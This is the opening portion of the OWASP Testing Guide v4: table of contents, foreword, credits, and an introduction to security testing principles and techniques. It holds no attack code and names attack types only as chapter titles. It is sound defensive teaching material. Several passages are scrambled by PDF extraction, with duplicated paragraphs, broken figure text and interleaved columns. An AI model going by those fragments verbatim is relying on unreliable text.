# OWASP Ing Guide V4

### OWASP-ing-Guide-v4

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1

Testing Guide 4.0

Project Leaders: Matteo Meucci and Andrew Muller
Free version at http://www.owasp.org

2

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The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make
application security “visible”, so that people and organizations can make informed decisions
about application security risks. Every one is free to participate in OWASP and all of our
materials are available under a free and open software license. The OWASP Foundation
is a 501c3 not-for-profit charitable organization that ensures the ongoing availability and
support for our work.

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5-6

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Foreword by Eoin Keary

1

Frontispiece
About the OWASP Testing Guide Project
About The Open Web Application Security Project

7 - 21

2

Introduction
The OWASP Testing Project
Principles of Testing
Testing Techniques Explained
Deriving Security Test Requirements
Security Tests Integrated in Development and Testing Workflows
Security Test Data Analysis and Reporting

22 - 24

3

The OWASP Testing Framework
Overview
Phase 1: Before Development Begins
Phase 2: During Definition and Design
Phase 3: During Development
Phase 4: During Deployment
Phase 5: Maintenance and Operations
A Typical SDLC Testing Workflow

25 - 207

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Web Application Security Testing
Introduction and Objectives
Testing Checklist
Information Gathering
Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)
Fingerprint Web Server (OTG-INFO-002)
Review Webserver Metafiles for Information Leakage (OTG-INFO-003)
Enumerate Applications on Webserver (OTG-INFO-004)
Identify application entry points (OTG-INFO-006)
Map execution paths through application (OTG-INFO-007)
Fingerprint Web Application Framework (OTG-INFO-008)
Fingerprint Web Application (OTG-INFO-009)
Map Application Architecture (OTG-INFO-010)
Configuration and Deployment Management Testing
Test Network/Infrastructure Configuration (OTG-CONFIG-001)
Test Application Platform Configuration (OTG-CONFIG-002)

Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)
Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)
Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)
Test HTTP Methods (OTG-CONFIG-006)
Test HTTP Strict Transport Security (OTG-CONFIG-007)
Test RIA cross domain policy (OTG-CONFIG-008)
Identity Management Testing
Test Role Definitions (OTG-IDENT-001)
Test User Registration Process (OTG-IDENT-002)
Test Account Provisioning Process (OTG-IDENT-003)
Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)
Testing for Weak or unenforced username policy (OTG-IDENT-005)
Authentication Testing
Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)
Testing for default credentials (OTG-AUTHN-002)
Testing for Weak lock out mechanism (OTG-AUTHN-003)
Testing for bypassing authentication schema (OTG-AUTHN-004)
Testing for Browser cache weakness (OTG-AUTHN-006)
Testing for Weak password policy (OTG-AUTHN-007)
Testing for Weak security question/answer (OTG-AUTHN-008)
Testing for weak password change or reset functionalities (OTG-AUTHN-009)
Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)
Authorization Testing
Testing Directory traversal/file include (OTG-AUTHZ-001)
Testing for bypassing authorization schema (OTG-AUTHZ-002)
Testing for Privilege Escalation (OTG-AUTHZ-003)
Testing for Insecure Direct Object References (OTG-AUTHZ-004)
Session Management Testing
Testing for Bypassing Session Management Schema (OTG-SESS-001)
Testing for Session Fixation (OTG-SESS-003)
Testing for Exposed Session Variables (OTG-SESS-004)
Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)
Testing for logout functionality (OTG-SESS-006)
Test Session Timeout (OTG-SESS-007)
Testing for Session puzzling (OTG-SESS-008)
Input Validation Testing
Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)
Testing for Stored Cross Site Scripting (OTG-INPVAL-002)
Testing for HTTP Verb Tampering (OTG-INPVAL-003)
Testing for HTTP Parameter pollution (OTG-INPVAL-004)
Testing for SQL Injection (OTG-INPVAL-005)
Oracle Testing
MySQL Testing
SQL Server Testing
Testing PostgreSQL (from OWASP BSP)
MS Access Testing

3

Testing for NoSQL injection
Testing for LDAP Injection (OTG-INPVAL-006)
Testing for ORM Injection (OTG-INPVAL-007)
Testing for XML Injection (OTG-INPVAL-008)
Testing for SSI Injection (OTG-INPVAL-009)
Testing for XPath Injection (OTG-INPVAL-010)
IMAP/SMTP Injection (OTG-INPVAL-011)
Testing for Code Injection (OTG-INPVAL-012)
Testing for Local File Inclusion
Testing for Remote File Inclusion
Testing for Command Injection (OTG-INPVAL-013)
Testing for Buffer overflow (OTG-INPVAL-014)
Testing for Heap overflow
Testing for Stack overflow
Testing for Format string
Testing for incubated vulnerabilities (OTG-INPVAL-015)
Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)
Testing for Error Handling
Analysis of Error Codes (OTG-ERR-001)
Analysis of Stack Traces (OTG-ERR-002)
Testing for weak Cryptography
Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)
Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)
Test Business Logic Data Validation (OTG-BUSLOGIC-001)
Test Ability to Forge Requests (OTG-BUSLOGIC-002)
Test Integrity Checks (OTG-BUSLOGIC-003)
Test for Process Timing (OTG-BUSLOGIC-004)
Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)
Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)
Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)
Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)
Test Upload of Malicious Files (OTG-BUSLOGIC-009)
Client Side Testing
Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)
Testing for JavaScript Execution (OTG-CLIENT-002)
Testing for HTML Injection (OTG-CLIENT-003)
Testing for Client Side URL Redirect (OTG-CLIENT-004)
Testing for CSS Injection (OTG-CLIENT-005)
Testing for Client Side Resource Manipulation (OTG-CLIENT-006)
Test Cross Origin Resource Sharing (OTG-CLIENT-007)
Testing for Cross Site Flashing (OTG-CLIENT-008)
Testing for Clickjacking (OTG-CLIENT-009)
Testing WebSockets (OTG-CLIENT-010)
Test Web Messaging (OTG-CLIENT-011)
Test Local Storage (OTG-CLIENT-012)

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Reporting
Appendix A: Testing Tools
Black Box Testing Tools
Whitepapers
Books
Useful Websites
Appendix C: Fuzz Vectors
Fuzz Categories
Appendix D: Encoded Injection
Input Encoding
Output Encoding

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Testing Guide Foreword - By Eoin Keary

0

Testing Guide Foreword
The problem of insecure software is perhaps the
most important technical challenge of our time. The
dramatic rise of web applications enabling business,
social networking etc has only compounded the
requirements to establish a robust approach to writing
and securing our Internet, Web Applications and Data.

Foreword by Eoin Keary, OWASP Global Board
The problem of insecure software is perhaps the most important
technical challenge of our time. The dramatic rise of web applications enabling business, social networking etc has only compounded the requirements to establish a robust approach to writing and securing our Internet, Web Applications and Data.
At The Open Web Application Security Project (OWASP), we’re
trying to make the world a place where insecure software is the
anomaly, not the norm. The OWASP Testing Guide has an important role to play in solving this serious issue. It is vitally important
that our approach to testing software for security issues is based
on the principles of engineering and science. We need a consistent, repeatable and defined approach to testing web applications.
A world without some minimal standards in terms of engineering
and technology is a world in chaos.
It goes without saying that you can’t build a secure application
without performing security testing on it. Testing is part of a wider
approach to building a secure system. Many software development organizations do not include security testing as part of their
standard software development process. What is even worse is
that many security vendors deliver testing with varying degrees
of quality and rigor.
Security testing, by itself, isn’t a particularly good stand alone
measure of how secure an application is, because there are an infinite number of ways that an attacker might be able to make an
application break, and it simply isn’t possible to test them all. We
can’t hack ourselves secure and we only have a limited time to test
and defend where an attacker does not have such constraints.
In conjunction with other OWASP projects such as the Code review
Guide, the Development Guide and tools such as OWASP ZAP, this
is a great start towards building and maintaining secure applications. The Development Guide will show your project how to architect and build a secure application, the Code Review Guide will tell
you how to verify the security of your application’s source code,
and this Testing Guide will show you how to verify the security of
your running application. I highly recommend using these guides
as part of your application security initiatives.

Why OWASP?
Creating a guide like this is a huge undertaking, requiring the expertise of hundreds of people around the world. There are many
different ways to test for security flaws and this guide captures
the consensus of the leading experts on how to perform this testing quickly, accurately, and efficiently. OWASP gives like minded
security folks the ability to work together and form a leading practice approach to a security problem.
The importance of having this guide available in a completely free
and open way is important for the foundations mission. It gives
anyone the ability to understand the techniques used to test for
common security issues. Security should not be a black art or
closed secret that only a few can practice. It should be open to all
and not exclusive to security practitioners but also QA, Developers

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Testing Guide Foreword - By Eoin Keary

and Technical Managers. The project to build this guide keeps this
expertise in the hands of the people who need it - you, me and
anyone that is involved in building software.
This guide must make its way into the hands of developers and
software testers. There are not nearly enough application security
experts in the world to make any significant dent in the overall
problem. The initial responsibility for application security must
fall on the shoulders of the developers, they write the code. It
shouldn’t be a surprise that developers aren’t producing secure
code if they’re not testing for it or consider the types of bugs
which introduce vulnerability.
Keeping this information up to date is a critical aspect of this guide
project. By adopting the wiki approach, the OWASP community
can evolve and expand the information in this guide to keep pace
with the fast moving application security threat landscape.
This Guide is a great testament to the passion and energy our
members and project volunteers have for this subject. It shall certainly help change the world a line of code at a time.

Tailoring and Prioritizing
You should adopt this guide in your organization. You may need to
tailor the information to match your organization’s technologies,
processes, and organizational structure.
In general there are several different roles within organizations
that may use this guide:
• Developers should use this guide to ensure that they are producing secure code. These tests should be a part of normal code and
unit testing procedures.
• Software testers and QA should use this guide to expand the set
of test cases they apply to applications. Catching these vulnerabilities early saves considerable time and effort later.
• Security specialists should use this guide in combination with
other techniques as one way to verify that no security holes have
been missed in an application.
• Project Managers should consider the reason this guide exists
and that security issues are manifested via bugs in code and design.
The most important thing to remember when performing security
testing is to continuously re-prioritize. There are an infinite number of possible ways that an application could fail, and organizations always have limited testing time and resources. Be sure time
and resources are spent wisely. Try to focus on the security holes
that are a real risk to your business. Try to contextualize risk in
terms of the application and its use cases.

This guide is best viewed as a set of techniques that you can use
to find different types of security holes. But not all the techniques
are equally important. Try to avoid using the guide as a checklist,
new vulnerabilities are always manifesting and no guide can be
an exhaustive list of “things to test for”, but rather a great place
to start.

The Role of Automated Tools
There are a number of companies selling automated security analysis and testing tools. Remember the limitations of these tools
so that you can use them for what they’re good at. As Michael
Howard put it at the 2006 OWASP AppSec Conference in Seattle,
“Tools do not make software secure! They help scale the process
and help enforce policy.”
Most importantly, these tools are generic - meaning that they are
not designed for your custom code, but for applications in general.
That means that while they can find some generic problems, they
do not have enough knowledge of your application to allow them
to detect most flaws. In my experience, the most serious security
issues are the ones that are not generic, but deeply intertwined in
These tools can also be seductive, since they do find lots of potential issues. While running the tools doesn’t take much time, each
one of the potential problems takes time to investigate and verify. If the goal is to find and eliminate the most serious flaws as
quickly as possible, consider whether your time is best spent with
automated tools or with the techniques described in this guide.
Still, these tools are certainly part of a well-balanced application
security program. Used wisely, they can support your overall processes to produce more secure code.

Call to Action
If you’re building, designing or testing software, I strongly encourage you to get familiar with the security testing guidance in this
document. It is a great road map for testing the most common
issues facing applications today, but it is not exhaustive. If you
find errors, please add a note to the discussion page or make the
change yourself. You’ll be helping thousands of others who use
this guide.
Please consider joining us as an individual or corporate member so
that we can continue to produce materials like this testing guide
and all the other great projects at OWASP.
Thank you to all the past and future contributors to this guide,
your work will help to make applications worldwide more secure.

Eoin Keary, OWASP Board Member, April 19, 2013

7

Testing Guide Frontispiece

1

Testing Guide Frontispiece
“Open and collaborative knowledge: that is the
OWASP way.”
With V4 we realized a new guide that will be the
standard de-facto guide to perform Web Application
Penetration Testing

“Open and collaborative knowledge: that is the OWASP way.”
With V4 we realized a new guide that will be the standard de-facto guide to perform Web Application Penetration Testing. - Matteo
Meucci
OWASP thanks the many authors, reviewers, and editors for their
hard work in bringing this guide to where it is today. If you have any
Testing Guide mail list:
http://lists.owasp.org/mailman/listinfo/owasp-testing
Or drop an e-mail to the project leaders: Andrew Muller and Matteo Meucci

Revision History
The Testing Guide v4 will be released in 2014. The Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was
handed over to Eoin Keary in 2005 and transformed into a wiki. Matteo Meucci has taken on the Testing guide and is now the lead of the
OWASP Testing Guide Project. From 2012 Andrew Muller co-leadership the project with Matteo Meucci.
2014
• “OWASP Testing Guide”, Version 4.0
15th September, 2008
• “OWASP Testing Guide”, Version 3.0
December 25, 2006
• “OWASP Testing Guide”, Version 2.0

Version 4.0

July 14, 2004
• “OWASP Web Application Penetration Checklist”, Version 1.1

[1] This version of the Testing Guide integrates with the two other
flagship OWASP documentation products: the Developers Guide and
the Code Review Guide. To achieve this we aligned the testing categories and test numbering with those in other OWASP products. The
aim of the Testing and Code Review Guides is to evaluate the security
controls described by the Developers Guide.

December 2004
• “The OWASP Testing Guide”, Version 1.0

The OWASP Testing Guide version 4 improves on version 3 in three ways:

[2] All chapters have been improved and test cases expanded to 87
(64 test cases in v3) including the introduction of four new chapters
and controls:
• Identity Management Testing
• Error Handling
• Cryptography
• Client Side Testing
[3] This version of the Testing Guide encourages the community not
to simply accept the test cases outlined in this guide. We encourage
security testers to integrate with other software testers and devise
test cases specific to the target application. As we find test cases that
have wider applicability we encourage the security testing community
to share them and contribute them to the Testing Guide. This will continue to build the application security body of knowledge and allow
the development of the Testing Guide to be an iterative rather than
monolithic process.
Copyright (c) 2014 The OWASP Foundation.
This document is released under the Creative Commons 2.5 License.

Matteo Meucci

Andrew Muller

Andrew Muller: OWASP Testing Guide Lead since 2013.
Matteo Meucci: OWASP Testing Guide Lead since 2007.
Eoin Keary: OWASP Testing Guide 2005-2007 Lead.
Daniel Cuthbert: OWASP Testing Guide 2003-2005 Lead.

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Testing Guide Frontispiece

v4 Authors
• Matteo Meucci
• Pavol Luptak
• Marco Morana
• Giorgio Fedon
• Stefano Di Paola
• Gianrico Ingrosso
• Giuseppe Bonfà
• Andrew Muller
• Robert Winkel
• Roberto Suggi Liverani
• Robert Smith
• Tripurari Rai

v4 Reviewers
• Davide Danelon
• Andrea Rosignoli
• Irene Abezgauz
• Lode Vanstechelman
• Sebastien Gioria
• Yiannis Pavlosoglou

v2 Authors
• Vicente Aguilera
• Mauro Bregolin
• Tom Brennan
• Gary Burns
• Luca Carettoni
• Dan Cornell
• Mark Curphey
• Daniel Cuthbert
• Sebastien Deleersnyder
• Stephen DeVries

v2 Reviewers
• Vicente Aguilera
• Marco Belotti
• Mauro Bregolin
• Marco Cova
• Daniel Cuthbert
• Paul Davies
• Stefano Di Paola
• Matteo G.P. Flora
• Simona Forti
• Darrell Groundy

• Thomas Ryan
• Tim Bertels
• Cecil Su
• Aung KhAnt
• Norbert Szetei
• Michael Boman
• Wagner Elias
• Kevin Horvat
• Tom Brennan
• Tomas Zatko
• Juan Galiana Lara
• Sumit Siddharth

• Mike Hryekewicz
• Simon Bennetts
• Ray Schippers
• Raul Siles
• Jayanta Karmakar
• Vicente Aguilera
• Ismael Gonçalves
• David Fern
• Tom Eston
• Kevin Horvath
• Rick Mitchell

v3 Authors
• Anurag Agarwwal
• Daniele Bellucci
• Ariel Coronel
• Stefano Di Paola
• Giorgio Fedon
• Christian Heinrich
• Kevin Horvath
• Gianrico Ingrosso
• Roberto Suggi Liverani
• Kuza55

• Pavol Luptak
• Ferruh Mavituna
• Marco Mella
• Matteo Meucci
• Marco Morana
• Antonio Parata
• Cecil Su
• Harish Skanda Sureddy
• Mark Roxberry
• Andrew Van der Stock

• Stefano Di Paola
• David Endler
• Giorgio Fedon
• Javier Fernández-Sanguino
• Glyn Geoghegan
• Stan Guzik
• Eoin Keary
• David Litchfield
• Andrea Lombardini

• Eoin Keary
• James Kist
• Katie McDowell
• Marco Mella
• Matteo Meucci
• Syed Mohamed
• Antonio Parata
• Alberto Revelli
• Mark Roxberry
• Dave Wichers

• Ralph M. Los
• Claudio Merloni
• Matteo Meucci
• Marco Morana
• Laura Nunez
• Gunter Ollmann
• Antonio Parata
• Yiannis Pavlosoglou
• Carlo Pelliccioni
• Harinath Pudipeddi

• Eduardo Castellanos
• Simone Onofri
• Harword Sheen
• Amro AlOlaqi
• Suhas Desai
• Ryan Dewhurst
• Davide Danelon
• Alexander Antukh
• Thomas Kalamaris
• Alexander Vavousis
• Christian Heinrich

• Rob Barnes
• Ben Walther
• Anant Shrivastava
• Colin Watson
• Luca Carettoni
• Eoin Keary
• Jeff Williams
• Juan Manuel Bahamonde
• Thomas Skora
• Irene Abezgauz
• Hugo Costa

v3 Reviewers
• Marco Cova
• Kevin Fuller
• Matteo Meucci
• Nam Nguyen
• Rick Mitchell

• Alberto Revelli
• Mark Roxberry
• Tom Ryan
• Anush Shetty
• Larry Shields
• Dafydd Studdard
• Andrew van der Stock
• Ariel Waissbein
• Jeff Williams
• Tushar Vartak

• Java, Java Web Server, and JSP are registered trademarks
of Sun Microsystems, Inc.
• Merriam-Webster is a trademark of Merriam-Webster, Inc.
• Microsoft is a registered trademark of Microsoft Corporation.
• Octave is a service mark of Carnegie Mellon University.
• VeriSign and Thawte are registered trademarks
of VeriSign, Inc.
• Visa is a registered trademark of VISA USA.
• OWASP is a registered trademark of the OWASP Foundation
All other products and company names may be trademarks of their
respective owners. Use of a term in this document should not be
regarded as affecting the validity of any trademark or service mark.

9

Testing Guide Introduction

2

The OWASP Testing Project
The OWASP Testing Project has been in development
for many years. The aim of the project is to help people
understand the what, why, when, where, and how of
testing web applications.

Writing the Testing Guide has proven to be a difficult task. It was a
challenge to obtain consensus and develop content that allowed people to apply the concepts described in the guide, while also enabling
them to work in their own environment and culture. It was also a challenge to change the focus of web application testing from penetration
testing to testing integrated in the software development life cycle.
However, the group is very satisfied with the results of the project.
Many industry experts and security professionals, some of whom are
responsible for software security at some of the largest companies in
the world, are validating the testing framework. This framework helps
organizations test their web applications in order to build reliable and
secure software. The framework does not simply highlighting areas
of weakness, although the latter is certainly a by product of many of
the OWASP guides and checklists. As such, hard decisions had top
and technologies. The group fully understands that not everyone will
agree upon all of these decisions. However, OWASP is able to take the
high ground and change culture over time through awareness and education based on consensus and experience.
The rest of this guide is organized as follows: This introduction covers the pre-requisites of testing web applications and the scope of
testing. It also covers the principles of successful testing and testing
techniques. Chapter 3 presents the OWASP Testing Framework and
explains its techniques and tasks in relation to the various phases of
the software development life cycle. Chapter 4 covers how to test for
specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.
Measuring Security: the Economics of Insecure Software
A basic tenet of software engineering is that you can’t control what
you can’t measure [1]. Security testing is no different. Unfortunately,
measuring security is a notoriously difficult process. This topic will not
be covered in detail here, as it would take a guide on its own (for an
introduction, see [2]).
One aspect that should be emphasized is that security measurements are about both the specific technical issues (e.g., how prevalent
a certain vulnerability is) and how these issues affect the economics
of software. Most technical people will at least understand the basic
issues, or they may have a deeper understanding of the vulnerabilities.
Sadly, few are able to translate that technical knowledge into monetary terms and quantify the potential cost of vulnerabilities to the application owner’s business. Until this happens, CIOs will not be able to
develop an accurate return on security investment and, subsequently,
assign appropriate budgets for software security.
While estimating the cost of insecure software may appear a daunting task, there has been a significant amount of work in this direction.
11

For example, in June 2002, the US National Institute of Standards
(NIST) published a survey on the cost of insecure software to the US
economy due to inadequate software testing [3]. Interestingly, they
estimate that a better testing infrastructure would save more than a
third of these costs, or about $22 billion a year. More recently, the links between economics and security have been studied by academic researchers. See [4] for more information about some of these efforts. While estimating the cost of insecure software may appear a daunting task, there has been a significant amount of work in this direction. For example, in June 2002, the US National Institute of Standards (NIST) published a survey on the cost of insecure software to the US economy due to inadequate software testing [3]. Interestingly, they estimate that a better testing infrastructure would save more than a third of these costs, or about$22 billion a year. More recently, the links
The framework described in this document encourages people to
measure security throughout the entire development process. They
can then relate the cost of insecure software to the impact it has on
the business, and consequently develop appropriate business processes and assign resources to manage the risk. Remember that
measuring and testing web applications is even more critical than for
other software, since web applications are exposed to millions of users through the Internet.
What is Testing?
During the development life cycle of a web application many things
need to be tested, but what does testing actually mean? The Merriam-Webster Dictionary describes testing as:
• To put to test or proof.
• To undergo a test.
• To be assigned a standing or evaluation based on tests.
For the purposes of this document testing is a process of comparing
the state of a system or application against a set of criteria. In the security industry people frequently test against a set of mental criteria
that are neither well defined nor complete. As a result of this, many
outsiders regard security testing as a black art. The aim of this document is to change that perception and to make it easier for people
without in-depth security knowledge to make a difference in testing.
Why Perform Testing?
This document is designed to help organizations understand what
comprises a testing program, and to help them identify the steps that
need to be undertaken to build and operate a testing program on web
applications. The guide gives a broad view of the elements required to

10

Testing Guide Introduction

make a comprehensive web application security program. This guide
can be used as a reference guide and as a methodology to help determine the gap between existing practices and industry best practices.
This guide allows organizations to compare themselves against industry peers, to understand the magnitude of resources required to test
and maintain software, or to prepare for an audit. This chapter does
not go into the technical details of how to test an application, as the
intent is to provide a typical security organizational framework. The
technical details about how to test an application, as part of a penetration test or code review, will be covered in the remaining parts of
this document.
When to Test?
Most people today don’t test software until it has already been created
and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally
a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications
is to improve the Software Development Life Cycle (SDLC) by including
security in each of its phases. An SDLC is a structure imposed on the
development of software artefacts. If an SDLC is not currently being
used in your environment, it is time to pick one! The following figure
shows a generic SDLC model as well as the (estimated) increasing cost
of fixing security bugs in such a model.

DE
SIG

NE
FI

DEV
ELOP

INTAIN
A
M

N

DE

Figure 1: Generic SDLC Model

DEPLOY

Companies should inspect their overall SDLC to ensure that security
is an integral part of the development process. SDLCs should include
security tests to ensure security is adequately covered and controls
are effective throughout the development process.
What to Test?
It can be helpful to think of software development as a combination of
people, process, and technology. If these are the factors that “create”
software, then it is logical that these are the factors that must be test-

ed. Today most people generally test the technology or the software
itself.
An effective testing program should have components that test:
People – to ensure that there is adequate education and awareness;
Process – to ensure that there are adequate policies and standards
and that people know how to follow these policies;
Technology – to ensure that the process has been effective in its implementation.
Unless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later
manifest themselves into defects in the technology, thus eradicating
bugs early and identifying the root causes of defects. Likewise, testing
only some of the technical issues that can be present in a system will
result in an incomplete and inaccurate security posture assessment.
Denis Verdon, Head of Information Security at Fidelity National Financial presented an excellent analogy for this misconception at the
OWASP AppSec 2004 Conference in New York [5]: “If cars were built
like applications [...] safety tests would assume frontal impact only.
Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft.”
As with all OWASP projects, we welcome comments and feedback.
We especially like to know that our work is being used and that it is
effective and accurate.
There are some common misconceptions when developing a testing
methodology to find security bugs in software. This chapter covers
some of the basic principles that professionals should take into account when performing security tests on software.

Principles of Testing
There is No Silver Bullet
While it is tempting to think that a security scanner or application
firewall will provide many defenses against attack or identify a multitude of problems, in reality there is no silver bullet to the problem
of insecure software. Application security assessment software, while
useful as a first pass to find low-hanging fruit, is generally immature
and ineffective at in-depth assessments or providing adequate test
coverage. Remember that security is a process and not a product.
Think Strategically, Not Tactically
Over the last few years, security professionals have come to realize
the fallacy of the patch-and-penetrate model that was pervasive in
information security during the 1990’s. The patch-and-penetrate
model involves fixing a reported bug, but without proper investigation
of the root cause. This model is usually associated with the window of
vulnerability shown in the figure below. The evolution of vulnerabilities
in common software used worldwide has shown the ineffectiveness
Vulnerability studies [7] have shown that with the reaction time of
attackers worldwide, the typical window of vulnerability does not pro12

11

Testing Guide Introduction

vide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being
developed and released is decreasing every year.
There are several incorrect assumptions in the patch-and-penetrate
model. Many users believe that patches interfere with normal operations and might break existing applications. It is also incorrect to
assume that all users are aware of newly released patches. Consequently not all users of a product will apply patches, either because
they think patching may interfere with how the software works or be-

phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to
develop the application (i.e., define, design, develop, deploy, maintain).
Each phase has security considerations that should become part of
the existing process, to ensure a cost-effective and comprehensive
security program.
There are several secure SDLC frameworks that exist that provide
both descriptive and prescriptive advice. Whether a person takes descriptive or prescriptive advice depends on the maturity of the SDLC

Figure 2: Window of Vulnerability
Vulerability is know
to the vendor

A security vulerability
is discovered

The vendor
notifies it’s clients
(sometimes)

Vulerability is

Risk
Level

Securtity
tools are
udpdated (IDS
signatures,
new modules
for VA tools)

A patch is
published

The existence
of the patch is
widely known

The patch is
installed in
all systems
affected

Time

cause they lack knowledge about the existence of the patch.
It is essential to build security into the Software Development Life
Cycle (SDLC) to prevent reoccurring security problems within an application. Developers can build security into the SDLC by developing
standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should
be used to help assign appropriate resources to those parts of a system that are most at risk.
The SDLC is King
The SDLC is a process that is well-known to developers. By integrating
security into each phase of the SDLC, it allows for a holistic approach
to application security that leverages the procedures already in place
within the organization. Be aware that while the names of the various

process. Essentially, prescriptive advice shows how the secure SDLC
should work, and descriptive advice shows how its used in the real
world. Both have their place. For example, if you don’t know where
to start, a prescriptive framework can provide a menu of potential
security controls that can be applied within the SDLC. Descriptive advice can then help drive the decision process by presenting what has
worked well for other organizations. Descriptive secure SDLCs include
BSIMM-V; and the prescriptive secure SDLCs inculde OWASP’s Open
Software Assurance Maturity Model (OpenSAMM) and ISO/IEC 27034
Parts 1-8, parts of which are still in development.
Test Early and Test Often
When a bug is detected early within the SDLC it can be addressed faster and at a lower cost. A security bug is no different from a functional

12

Testing Guide Introduction

or performance-based bug in this regard. A key step in making this
possible is to educate the development and QA teams about common
security issues and the ways to detect and prevent them. Although
new libraries, tools, or languages can help design better programs
(with fewer security bugs), new threats arise constantly and developers must be aware of the threats that affect the software they are
developing. Education in security testing also helps developers acquire
the appropriate mindset to test an application from an attacker’s perspective. This allows each organization to consider security issues as
part of their existing responsibilities.
Understand the Scope of Security
It is important to know how much security a given project will require. The information and assets that are to be protected should
be given a classification that states how they are to be handled (e.g.,
confidential, secret, top secret). Discussions should occur with legal
council to ensure that any specific security requirements will be met.
In the USA requirements might come from federal regulations, such
as the Gramm-Leach-Bliley Act [8], or from state laws, such as the
California SB-1386 [9]. For organizations based in EU countries, both
country-specific regulation and EU Directives may apply. For example,
Directive 96/46/EC4 [10] makes it mandatory to treat personal data
in applications with due care, whatever the application.
Develop the Right Mindset
Successfully testing an application for security vulnerabilities requires
thinking “outside of the box.” Normal use cases will test the normal
behavior of the application when a user is using it in the manner that is
expected. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application.
Creative thinking can help to determine what unexpected data may
cause an application to fail in an insecure manner. It can also help find
what assumptions made by web developers are not always true and
how they can be subverted. One of the reasons why automated tools
are actually bad at automatically testing for vulnerabilities is that this
creative thinking must be done on a case-by-case basis as most web
applications are being developed in a unique way (even when using
common frameworks).
Understand the Subject
One of the first major initiatives in any good security program should
be to require accurate documentation of the application. The architecture, data-flow diagrams, use cases, etc, should be written in formal
documents and made available for review. The technical specification
and application documents should include information that lists not
only the desired use cases, but also any specifically disallowed use
case. Finally, it is good to have at least a basic security infrastructure
that allows the monitoring and trending of attacks against an organization’s applications and network (e.g., IDS systems).
Use the Right Tools
While we have already stated that there is no silver bullet tool, tools
do play a critical role in the overall security program. There is a range
of open source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security
process by assisting security personnel in their tasks. However, it is
important to understand exactly what these tools can and cannot do
so that they are not oversold or used incorrectly.
The Devil is in the Details
It is critical not to perform a superficial security review of an applica-

tion and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review
in the first place. It is vital to carefully review the findings and weed out
any false positive that may remain in the report. Reporting an incorrect
security finding can often undermine the valid message of the rest of
a security report. Care should be taken to verify that every possible
section of application logic has been tested, and that every use case
scenario was explored for possible vulnerabilities.
Use Source Code When Available
While black box penetration test results can be impressive and useful
to demonstrate how vulnerabilities are exposed in a production environment, they are not the most effective or efficient way to secure
an application. It is difficult for dynamic testing to test the entire code
base, particularly if many nested conditional statements exist. If the
source code for the application is available, it should be given to the
security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would
be missed during a black box engagement.
Develop Metrics
An important part of a good security program is the ability to determine if things are getting better. It is important to track the results of
testing engagements, and develop metrics that will reveal the application security trends within the organization.
Good metrics will show:
• If more education and training are required;
• If there is a particular security mechanism that is not clearly
understood by the development team;
• If the total number of security related problems being found
each month is going down.
Consistent metrics that can be generated in an automated way from
available source code will also help the organization in assessing the
effectiveness of mechanisms introduced to reduce security bugs in
software development. Metrics are not easily developed, so using
standard metrics like those provided by the OWASP Metrics project
and other organizations is a good starting point.
Document the Test Results
To conclude the testing process, it is important to produce a formal
record of what testing actions were taken, by whom, when they were
performed, and details of the test findings. It is wise to agree on an acceptable format for the report which is useful to all concerned parties,
which may include developers, project management, business owners, IT department, audit, and compliance.
The report should be clear to the business owner in identifying where
material risks exist and sufficient to get their backing for subsequent
mitigation actions. The report should also be clear to the developer in
pin-pointing the exact function that is affected by the vulnerability and
associated recommendations for resolving issues in a language that
the developer will understand. The report should also allow another
security tester to reproduce the results. Writing the report should not
be overly burdensome on the security tester themselves. Security
testers are not generally renowned for their creative writing skills and
agreeing on a complex report can lead to instances where test results
do not get properly documented. Using a security test report template
can save time and ensure that results are documented accurately and
consistently, and are in a format that is suitable for the audience.

13

Testing Guide Introduction

Testing Techniques Explained
This section presents a high-level overview of various testing
techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques as this information is covered in Chapter 3. This section is
included to provide context for the framework presented in the
of some of the techniques that should be considered. In particular,
we will cover:
• Manual Inspections & Reviews
• Threat Modeling
• Code Review
• Penetration Testing

Manual Inspections & Reviews

Overview
Manual inspections are human reviews that typically test the security implications of people, policies, and processes. Manual inspections can also include inspection of technology decisions such
as architectural designs. They are usually conducted by analyzing
documentation or performing interviews with the designers or
system owners.
While the concept of manual inspections and human reviews is
simple, they can be among the most powerful and effective techniques available. By asking someone how something works and
why it was implemented in a specific way, the tester can quickly
determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the
software development life-cycle process itself and to ensure that
there is an adequate policy or skill set in place.
As with many things in life, when conducting manual inspections
and reviews it is recommended that a trust-but-verify model is
adopted. Not everything that the tester is shown or told will be
accurate.
